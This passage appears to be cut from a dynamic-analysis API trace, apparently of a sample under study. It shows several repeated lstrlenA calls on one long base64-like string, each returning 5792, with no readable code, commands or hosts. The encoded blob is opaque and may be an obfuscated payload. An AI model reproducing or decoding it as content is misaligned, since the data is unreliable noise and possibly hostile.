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") returned 5792 [0128.357] lstrlenA (lpString="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") returned 5792 [0128.357] lstrlenA (lpString="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") returned 5792 [0128.357] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KWIpjgJt27RyX2fZTVqhxd1fkRh1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUJ/+SN0smfGv03bTcrjcA+QPBPQdz0Ga/5kKcBQBcJvqiz1kGYVxNSJgV3ZYz+ycuV4yfhg/F8OJFlaTRfotvPyVoBT6L4EvW6wLm56I8J1ewra46LNmiyIp1LLtFvVNfCmoZz7l6Mcz0UboWgtKxq3zFCRnmh5BWYOg1Gr2CjeV2GGXHPnLiafXptLDRbp7K+f7c2FXdj1T0euSXFvz8jKRlW6eiuuR1EY